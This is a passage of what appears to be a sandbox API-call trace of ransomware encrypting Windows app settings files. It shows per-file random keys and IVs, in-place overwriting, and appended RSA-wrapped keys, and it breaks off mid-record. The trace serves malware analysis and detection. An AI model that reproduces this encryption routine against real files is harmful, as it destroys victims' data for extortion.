CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0162.849] WriteFile (in: hFile=0x1300, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0162.850] WriteFile (in: hFile=0x1300, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0162.850] CloseHandle (hObject=0x1300) returned 1 [0162.852] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0162.852] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0162.852] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsPhone_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0162.853] ReadFile (in: hFile=0x1300, lpBuffer=0x2ed1068, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ed1068*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0162.859] SetFilePointer (in: hFile=0x1300, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0162.859] WriteFile (in: hFile=0x1300, lpBuffer=0x2ec7040*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0162.860] SetFilePointer (in: hFile=0x1300, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0162.860] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0162.860] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0162.860] WriteFile (in: hFile=0x1300, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0162.860] WriteFile (in: hFile=0x1300, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0162.861] CloseHandle (hObject=0x1300) returned 1 [0162.862] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0162.862] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0162.862] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsPhone_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0162.863] ReadFile (in: hFile=0x1300, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0162.863] SetFilePointer (in: hFile=0x1300, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0162.863] WriteFile (in: hFile=0x1300, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0162.863] SetFilePointer (in: hFile=0x1300, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0162.863] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0162.863] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0162.863] WriteFile (in: hFile=0x1300, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0162.865] WriteFile (in: hFile=0x1300, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0162.865] CloseHandle (hObject=0x1300) returned 1 [0162.867] WriteFile (in: hFile=0x130c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0162.868] CloseHandle (hObject=0x130c) returned 1 [0162.869] WriteFile (in: hFile=0x130c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0162.870] CloseHandle (hObject=0x130c) returned 1 [0162.870] WriteFile (in: hFile=0x130c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0162.871] CloseHandle (hObject=0x130c) returned 1 [0162.872] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0162.872] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0162.872] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0162.873] ReadFile (in: hFile=0x1320, lpBuffer=0x5c34c8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0162.873] SetFilePointer (in: hFile=0x1320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0162.873] WriteFile (in: hFile=0x1320, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0162.873] SetFilePointer (in: hFile=0x1320, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0162.873] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0162.873] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0162.873] WriteFile (in: hFile=0x1320, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0162.874] WriteFile (in: hFile=0x1320, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0162.875] CloseHandle (hObject=0x1320) returned 1 [0162.876] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0162.876] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0162.876] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0162.877] ReadFile (in: hFile=0x1320, lpBuffer=0x2ed1068, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ed1068*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0162.883] SetFilePointer (in: hFile=0x1320, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0162.883] WriteFile (in: hFile=0x1320, lpBuffer=0x2ecd058*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecd058*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0162.883] SetFilePointer (in: hFile=0x1320, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0162.883] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0162.883] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0162.884] WriteFile (in: hFile=0x1320, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0162.884] WriteFile (in: hFile=0x1320, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0162.884] CloseHandle (hObject=0x1320) returned 1 [0162.886] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0162.886] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0162.886] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0162.886] ReadFile (in: hFile=0x1320, lpBuffer=0x2ec7040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0162.896] SetFilePointer (in: hFile=0x1320, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0162.896] WriteFile (in: hFile=0x1320, lpBuffer=0x2ecd058*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecd058*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0162.897] SetFilePointer (in: hFile=0x1320, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0162.897] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0162.897] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0162.897] WriteFile (in: hFile=0x1320, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0162.898] WriteFile (in: hFile=0x1320, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0162.898] CloseHandle (hObject=0x1320) returned 1 [0162.902] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0162.902] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0162.902] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0162.903] ReadFile (in: hFile=0x1320, lpBuffer=0x5c3448, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0162.903] SetFilePointer (in: hFile=0x1320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0162.903] WriteFile (in: hFile=0x1320, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0162.903] SetFilePointer (in: hFile=0x1320, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0162.903] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0162.903] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0162.903] WriteFile (in: hFile=0x1320, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0162.904] WriteFile (in: hFile=0x1320, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0162.904] CloseHandle (hObject=0x1320) returned 1 [0166.522] WriteFile (in: hFile=0x132c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0166.523] CloseHandle (hObject=0x132c) returned 1 [0166.524] WriteFile (in: hFile=0x132c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0166.525] CloseHandle (hObject=0x132c) returned 1 [0166.526] WriteFile (in: hFile=0x132c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0166.527] CloseHandle (hObject=0x132c) returned 1 [0166.538] WriteFile (in: hFile=0x1334, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0166.539] CloseHandle (hObject=0x1334) returned 1 [0166.539] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0166.539] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0166.540] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\Nexus.json", dwFileAttributes=0x80) returned 1 [0166.542] ReadFile (in: hFile=0x1334, lpBuffer=0x30cd020, nNumberOfBytesToRead=0x52b4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30cd020*, lpNumberOfBytesRead=0x2e1f9bc*=0x52b4, lpOverlapped=0x0) returned 1 [0166.554] SetFilePointer (in: hFile=0x1334, lDistanceToMove=-21172, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0166.554] WriteFile (in: hFile=0x1334, lpBuffer=0x30d22e0*, nNumberOfBytesToWrite=0x52b4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d22e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x52b4, lpOverlapped=0x0) returned 1 [0166.555] SetFilePointer (in: hFile=0x1334, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x52b4 [0166.555] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0166.555] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0166.555] WriteFile (in: hFile=0x1334, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0166.555] WriteFile (in: hFile=0x1334, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0166.556] CloseHandle (hObject=0x1334) returned 1 [0166.557] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0166.557] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0166.557] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0166.559] ReadFile (in: hFile=0x1340, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0166.559] SetFilePointer (in: hFile=0x1340, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0166.559] WriteFile (in: hFile=0x1340, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0166.559] SetFilePointer (in: hFile=0x1340, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0166.559] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0166.559] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0166.559] WriteFile (in: hFile=0x1340, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0166.560] WriteFile (in: hFile=0x1340, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0166.560] CloseHandle (hObject=0x1340) returned 1 [0166.561] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0166.561] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0166.561] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0166.564] ReadFile (in: hFile=0x1340, lpBuffer=0x30cd020, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30cd020*, lpNumberOfBytesRead=0x2e1f9bc*=0x4000, lpOverlapped=0x0) returned 1 [0166.574] SetFilePointer (in: hFile=0x1340, lDistanceToMove=-16384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0166.574] WriteFile (in: hFile=0x1340, lpBuffer=0x30d1028*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4000, lpOverlapped=0x0) returned 1 [0166.574] SetFilePointer (in: hFile=0x1340, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4000 [0166.574] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0166.574] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0166.574] WriteFile (in: hFile=0x1340, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0166.575] WriteFile (in: hFile=0x1340, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0166.575] CloseHandle (hObject=0x1340) returned 1 [0166.576] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0166.576] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0166.576] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0166.578] ReadFile (in: hFile=0x1340, lpBuffer=0x30cd020, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30cd020*, lpNumberOfBytesRead=0x2e1f9bc*=0x4000, lpOverlapped=0x0) returned 1 [0166.580] SetFilePointer (in: hFile=0x1340, lDistanceToMove=-16384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0166.580] WriteFile (in: hFile=0x1340, lpBuffer=0x30d1028*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4000, lpOverlapped=0x0) returned 1 [0166.580] SetFilePointer (in: hFile=0x1340, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: 